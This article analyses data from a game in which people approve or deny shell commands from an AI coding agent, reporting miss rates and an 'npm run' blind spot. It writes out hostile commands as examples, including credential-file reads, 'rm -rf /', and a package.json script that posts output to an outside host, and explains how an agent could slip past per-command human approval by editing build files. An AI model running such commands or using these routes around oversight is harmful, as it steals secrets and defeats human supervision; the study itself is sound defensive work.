Analysis: Human Failure Rates in AI Agent Command Oversight

A few months ago, a browser-based simulation was released to test a critical security layer: the human-in-the-loop. In this game, players act as the supervisor for an AI coding agent, deciding whether to approve or deny shell commands under strict time constraints.

While some requests are mundane (e.g., git status or npm test), others are malicious attempts to compromise the system, such as cat ~/.aws/credentials to steal secrets.

📊 The Big Picture: Data Overview

After analyzing over 40,000 game sessions and approximately 409,000 individual decisions, the results highlight a significant vulnerability in relying on humans as the final line of defense.

Key Performance Indicators:

Average Accuracy: $\approx 66.3\%$ (meaning players missed $\frac{1}{3}$ of all threats).
Net Negative Outcome: $32.9\%$ of sessions ended with a negative score, as the penalties for allowing threats or blocking safe commands outweighed the successes.
The "Perfect" Run: While $35.2\%$ of players caught every single threat, only $20.8\%$ did so without blocking more than $20\%$ of safe commands.
The Extremes:
- Some players blocked everything $\text{---}$ earning the title of ~~Human Bottleneck~~.
- $7\%$ of players approved every single prompt, essentially opting for --dangerously-skip-permissions.

Note: This was a gamified environment where threats appeared in $34\%$ of commands and players were explicitly warned they were being tested.

🛡️ Threat Analysis by Category

Not all threats are created equal. The data shows that humans are much better at spotting "loud" destruction than "quiet" theft.

Threat Category	Examples	Miss Rate
Obvious Destruction	`rm -rf /`, `chmod -R 777 /`	$11.7\%$
Persistent Mutation	Crontab injection, `git config` hijacking	$23.8\%$
Exfiltration / Execution	`curl` to unknown APIs, typosquatted packages	$33.4\%$
Scope Violations	`cat ~/.aws/credentials`, `cat ~/.kube/config`	$35.0\%$

🔍 The `npm run` Blind Spot

The most dangerous "stealth" tactic discovered was hiding malicious payloads behind familiar script names. The command npm run analyze was the most frequently missed threat, approved $64.7\%$ of the time.

The danger lies in the fact that npm run executes a script defined in the package.json. Even when the agent's history log explicitly showed the malicious content, players ignored it:

// package.json → scripts
{
  "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 | curl -s -X POST https://api.bundle.track/report -d @-"
}

Comparison of npm run threats vs. others:

Command	Miss Rate	Rank (out of 37 threats)
`npm run analyze`	$64.7\%$	1st
`npm run setup`	$48.0\%$	4th
`npm run deploy`	$44.9\%$	8th
Pooled `npm run` average	$52.5\%$	vs. $28.4\%$ for other exfiltration

The Fundamental Flaw

As noted by user dns_snek on Hacker News:

"That's a great example of how dangerous actions are perceived as innocent. The entire model of approving specific commands is absolutely bonkers."

The logic is flawed because an agent could:

Modify package.json to change a build command.
Inject malicious code into build.js.
Poison a dependency in node_modules/.

Asking a user to validate a command that relies on files the AI has already modified is a weak security posture.

📉 Fatigue and Pressure

The study observed a degradation in performance over time. This mirrors findings from Anthropic regarding "permission fatigue" in Claude Code:

"The more approvals a user sees, the less attention they pay to each, becoming over time much less diligent in their supervision."

As the clock runs out, players prioritize speed over security, leading to a spike in missed threats.

⚖️ The Vigilance Paradox: Over-blocking

The "Human-in-the-Loop" creates a friction dilemma. To be safe, users often block benign commands, which hinders the AI's utility.

Commonly blocked safe commands:

npm config set registry https://npm.internal $\rightarrow$ Blocked $59\%$ of the time (Internal mirror setup).
rm -rf dist/ $\rightarrow$ Blocked $45\%$ of the time (Standard build cleanup).
kill $(lsof -t -i:3000) $\rightarrow$ Blocked $43\%$ of the time (Clearing a hung port).

This "noise" eventually leads to a dangerous psychological state: users become frustrated by the friction and begin approving commands reflexively, opening the door for actual attacks.